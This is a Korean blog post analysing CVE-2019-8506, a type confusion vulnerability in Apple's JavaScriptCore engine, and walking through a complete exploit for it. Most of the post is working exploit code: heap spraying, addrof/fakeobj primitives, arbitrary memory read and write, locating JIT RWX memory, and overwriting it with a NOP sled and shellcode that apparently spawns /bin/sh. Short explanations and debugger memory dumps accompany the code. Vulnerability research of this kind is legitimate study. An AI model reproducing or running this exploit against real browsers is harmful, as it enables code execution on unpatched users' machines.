CVE

CVE-2019-8506 JavaScriptCore exploit

javascriptcore vulnerability analysis

Posted by NextLine on August 8, 2019

CVE-2019-8506 JavaScriptCore exploit

1. Intro

취약점을 먼저 이해하고 PoC를 이용해 exploit 했다.

2. Exploit

취약점에 대한 설명은 p0issue(https://bugs.chromium.org/p/project-zero/issues/detail?id=1753)에 잘 설명되어 있다. 이 문서에서는 exploit을 중점으로 설명하겠다.
type confusion이 발생하는 객체는 objX와 objY로 PoC에서는 object를 double로 전환해 crash가 발생한다. 하지만 exploit primitive (addrof, fakeobj)를 만들기 위해서는 다른 방식의 type confusion이 필요하다.

let objX = {objProperty: {fetchme : 0x1234}};
objX.objProperty
pwndbg> x/4gx 0x7fffb22c83a0
0x7fffb22c83a0:  0x010016000000013d  0x0000000000000000
0x7fffb22c83b0:  0xffff000000001234  0x0000000000000000

먼저 objX.objProperty를 메모리에서 보면 object+0x10 위치에 0xffff000000001234가 있는걸 확인할 수 있다. 즉 fetchme를 읽으면 object+0x10 위치의 메모리가 읽힌다. 여기서 다른 object를 겹쳐 의미있는 type confusion을 내려면 object+0x10 위치에 덮을만한 값이 존재해야 한다. 그래서 array를 이용했다.

let objY = {doubleProperty: []};
let victim = [1.1, 2.2, 3.3, 4.4, 5.5];
let structs = [];
for (let i = 0; i < 0x1000; i++) {
    var tmp = [1.1];
    tmp.pointer = i2f(0x1234);
    tmp['spray' + i.toString()] = 3.3;
    structs.push(tmp);
}
objY.doubleProperty
pwndbg> x/30gx 0x7fffb22b4370
0x7fffb22b4370:  0x0108210300000060  0x00007ff8000d4008
0x7fffb22b4380:  0x0108211700000067  0x00007ff8000e4010
0x7fffb22b4390:  0x0108210900000063  0x00007ff800300070
0x7fffb22b43a0:  0x0108210700000141  0x00007ff8000d4088
0x7fffb22b43b0:  0x0108210700000142  0x00007ff8000d40b8
0x7fffb22b43c0:  0x0108210700000143  0x00007ff8000d40e8
0x7fffb22b43d0:  0x0108210700000144  0x00007ff8000d4118
0x7fffb22b43e0:  0x0108210700000145  0x00007ff8000d4148
0x7fffb22b43f0:  0x0108210700000146  0x00007ff8000d4178
0x7fffb22b4400:  0x0108210700000147  0x00007ff8000d41a8
0x7fffb22b4410:  0x0108210700000148  0x00007ff8000d41d8

array의 구조는 structure | butterfly 로 여러개의 array를 할당하면 연속적으로 할당된다. array object+0x10에는 다음 할당된 array의 structure가 존재하므로 type confusion을 이용해 이 값을 읽거나 쓸 수 있다. 그러므로 먼저 ArrayWithDouble array를 spray 해두고 ArrayWithSlowPutArrayStorage array의 structure와 바꾸면서 type confustion을 내면 addrof와 fakeobj를 만들 수 있게된다. (왜 ArrayWithSlowPutArrayStorage를 이용하는지에 대해서는 취약점 설명을 참고하자. ) 이후는 일반적인 JSC exploit과 비슷하다

let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
let BASE = 0x100000000;
function i2f(x) {
      u32[0] = x % BASE;
      u32[1] = (x - (x % BASE)) / BASE;
      return f64[0];
}
function f2i(x) {
      f64[0] = x;
      return u32[0] + BASE * u32[1];
}
function i2jsv(x) {
    u32[0] = (x % BASE);
    u32[1] = ((x - (x % BASE)) / BASE) - 0x10000;
    return f64[0];
}
function hex(x) {
      return `0x${x.toString(16)}`
}
function d(x) {
    print(describe(x));
}
function pf(x) {
    print(hex(f2i(x)));
}
function ph(x) {
    print(hex(x));
}
function gc() {
      for (let i = 0; i < 0x10; i++) {
              new ArrayBuffer(0x1000000);
          }
}
function makeJITFunc() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    // Force JIT compilation.
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    return target;
}
// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
//let objX = {objProperty: {fetchme: [1.1]}};
//let objY = {doublePropety: [2.2]};             // 0x4141414141414141 in memory
//let target = [1.1,2.2,3.3];
let objX = {objProperty: {fetchme : 0x1234}};
let objY = {doubleProperty: []};
let victim = [1.1, 2.2, 3.3, 4.4, 5.5];
let structs = [];
for (let i = 0; i < 0x1000; i++) {
    var tmp = [1.1];
    tmp.pointer = i2f(0x1234);
    tmp['spray' + i.toString()] = 3.3;
    structs.push(tmp);
}
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
    let protoWithIndexedAccessors = {};
    Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
    // Compile a function that will end up creating an array with SlowPutArrayStorage.
    function helper(i) {
        // After JIT compilation, this new Array call will construct a normal array (with the
        // original Array prototype) with SlowPutArrayStorage due to profiling information from
        // previous executions (which all ended up transitioning to SlowPutArrayStorage).
        let a = new Array;
        if (i > 0) {
            // Convert the array to SlowPutArrayStorage by installing a prototype with indexed
            // accessors. This object can, however, not be used directly as the prototype is
            // different and thus the structure has changed.
            Object.setPrototypeOf(a, protoWithIndexedAccessors);
        }
        return a;
    }
    for (let i = 1; i < 10000; i++) {
        helper(i);
    }
    return helper(0);
}
// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX;        // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.
// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage();       // a has Structure S4,
a.index = 42;                                       // S5,
a.input = "foobar";                                 // S6,
a.groups = obj;                                     // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.
// Inferred type for this property will be ObjectWithStructure S7.
global = a;
// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;
// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });
// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax(val) {
  var re = global.groups.oolProperty1.objProperty.fetchme;
  global.groups.oolProperty1.objProperty.fetchme = val;
  return re;
}
for (let i = 0; i < 10000; i++) {
    hax(i2jsv(0x0108211700001001 + i));
}
// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);
// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY;       // This property overlaps with oolProperty1 of structure S3.
// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;
// backup original structure
let backup = hax(1);
let addrof = function (obj) {
  hax(backup);
  victim[0] = obj;
  hax(i2jsv(0x0108211700001000));
  return victim[2];
}
let fakeobj = function (addr) {
  hax(i2jsv(0x0108211700001000));
    victim[2] = addr;
    hax(backup);
  return victim[0];
}
let victim2 = structs[0x100];
let victim_addr = addrof(victim2);
let container = {
  header : i2jsv(0x0108210700001000),
  butterfly : victim2
}
let addr = addrof(container);
//d(victim2);
let fakeArray = fakeobj(addr + i2f(0x10));
read8 = function (addr) {
  fakeArray[1] = addr + i2f(0x10);
  return addrof(victim2.pointer);
}
write4 = function (addr, value) {
  fakeArray[1] = addr + i2f(0x10);
  victim2.pointer = value;
}
let func = makeJITFunc();
let funcAddr = addrof(func);
let executableAddr = read8(funcAddr + i2f(0x18));
let jitCodeObjAddr = read8(executableAddr + i2f(0x18));
let rwxMem = read8(jitCodeObjAddr + i2f(0x10));
print("rwx @ " + hex(f2i(rwxMem)));
shellcode = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b]
for(let i = 0; i < 0x30; i++) {
  write4(rwxMem + i2f(i * 4), i2f(0x90909090));
}
for(let i = 0; i < shellcode.length; i++) {
  write4(rwxMem + i2f(0xc0) + i2f(i * 4), i2f(shellcode[i]));
}
func();